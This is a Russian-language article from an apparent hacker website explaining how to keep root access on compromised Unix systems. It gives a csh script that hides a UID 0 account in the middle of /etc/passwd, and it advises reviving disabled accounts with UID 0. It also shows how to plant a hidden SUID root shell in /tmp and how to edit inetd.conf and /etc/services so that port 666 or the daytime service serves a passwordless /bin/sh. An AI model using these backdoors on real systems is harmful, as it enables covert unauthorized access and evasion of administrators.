Меню

 

 

 


InFo

 

Date : 27.04.2024



[WhoIs]
[ProXy Check]
[Sniffer !new]
[Sploit/Bug Search]

 

 


Banners

 







Rambler's Top100

 

 

 

 

 

    Security|war

 

.::Статьи::.

Автор : MAZ

Как удержаться на уровне root

Здесь представлены основные принцыпы удержания привилегий суперпользователя в *nix системах.

1) Надо бы добавить UID 0 к файлу паролей. Возможно, это самый лёгкий способ сообщить администратору о том, что вы в системе. Если вы всё же хотите это сделать, то вот вам совет- не нужно преписывать преписывать этот код к файлу паролей. Любой проверяющий это моментально заметит. Лучше впешите его где - нибудь посредине...

#!/bin/csh
set linecount = 'wc -l /etc/passwd' # Файл с паролями
cd 
cp /etc/passwd ./temppass
echo passwd file has $linecount[1] lines.
@ linecount[1] /=2
@ linecount[1] +=1 
echo Creating two files, $linecount[1] lines.
split -$linecount[1] ./temppass
string optional
echo "Xakep:0:0:Mr X:/home/evil/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # или то, что было раньше
rm ./xa* ./temppass
echo Done...

Не спешите делать copy'n'paste, сначала разберитесь и поменяйте то, что не совпадает с вашей версией *nix!.

2) Точно таким же образом введите в действие такие непригодные аккаунты, как Sync. Или, возможно, другие скрытые в файле паролей, забытые или отключенные системным администратором. Измените UID на 0 (и уберите "*" из второго поля).

3) Перегоните оболочку корня в /tmp или в вашу домашнюю дерикторию:

#!/bin/sh
cp /bin/csh /tmp/.evilrootshell #Никогда не называйте её так.
chmod 4755 /tmp/.evilrootshell

Многие системы чистят /tmp по ночам. Чаще всего это осуществляется путём уничтожения файлов или занисения их в буфер. На многих системах установлены пакеты, предохраняющие от запуска програм под SUID. Вы можете это изменить, но если вы даже это сделаете, то текоторые личности могут это заметить...

4) Системный администратор не станет первым делом заглядывать в конфигурацию хоста, тогда что нам мешает и там открыть дырочку :)?

Для начала немногообщей информации:

Интернет демон (/etc/inetd) принимает запросы о связи с портами TCP и UDP и перебрасывает нужнужную программу согласно поступившему запросу. Формат файла конфигурации:

(1)   (2)   (3)  (4)    (5)      (6)         (7) 
ftp  stream tcp nowait root /usr/etc/ftpd   ftpd
TALK DGRAMS  UDP  wait  root /usr/etc/ntalkd ntalkd

Первое поле (1) - это название демона, указанное в /etc/services. Отсюда inetd считывает информацию о соответствующем поле в /etc/services и после этого устанавливает параметры связанного с данной программой порта.

Во втором поле (2) содержится информация о типе службы доставки данных, необходимых для данной программы. TCP использует stream (байто-ориентированный поток), а UDP - dgrams (служба, ориентированная на транказии).

Третье поле (3) - поле протоколов (TCP или UDP).

Четвёртое поле (4) указывает статус демона. Флаг wait jозначает, что демон перед продолжением прослушивания приходящих запросов вынужден будет ожидать, пока сервер освободит порт. Nowait в свою очередь позволяет демону незаммедлительно приступать к прослушиванию новых запросов.

Пятое поле (5) - это пользователь, который управляет демоном.

Поле шесть (6) - это запускающаяся при соединении программа.

Поле семь (7) содержит команды (и дополнительные аргументы). Часть программ (обычно не требующих вмешательства пользователей), сервер может перебрасывать по сети. Это осуществляется с помощью флага internal в строках (6) и (7). Таким образом, для того, чтобы самому себе открыть доступ к системе, надо выбрать редко используемую программу и переадресовать связующего демона к программме, создающий оболочку корня SUID, к программе, предоставляющей корневой аккаунт в файле /etc/passwd и так далее.

В качестве примера сделайте следующее: откройте /etc/inetd.conf, если, конечно такой существует :).

Найдите строку

daytime stream tcp nowait root internal

и смените её на 
daytime stream tcp nowait /bin/sh sh -i

Теперь откройте /etc/inetd/ и просмотрите файл конфигурации. Сами решите как это сделать. Вы можете закончить процесс и запустить его снова (kill -9,/usr/sbin/inetd или /usr/etc/inetd), и таким образом прервать все связи в сети :). Особо прикольно это сделать в час пик :).

5) Теперь попробуем открыть себе беспарольный вход в систему на 666 порте. Убедитесь в том, что доступ индицируется как в /etc/services, так и в /etc/inetd.conf. Формат /etc/services:

 (1) (2)/(3) (4)
smtp 25/tcp  mail

Я думаю вы и сами сможете додумться до того, что за что отвечает, после того как я разложил всё по полочкам в случае /etc/indetd.conf :). Теперь добавим сюда токую стрпочку:

evil 666/tcp evil

и такую в /etc/inetd.conf:

sevil stream tcp nowait /bin/sh sh -i

Перезагрузите inetd. Тепрь подсоединившись к 666 порту, вы получите оболочку /bin/sh с правами пользователя evil. Соответственно, нетрудно теперь получить и root'а :).

В скором времени появятся описания Cron - троянов, Sendmail, /dev/khem.

 

 

Designed By: w4rd3n
Copyright © 2005-2006 All Rights Reseved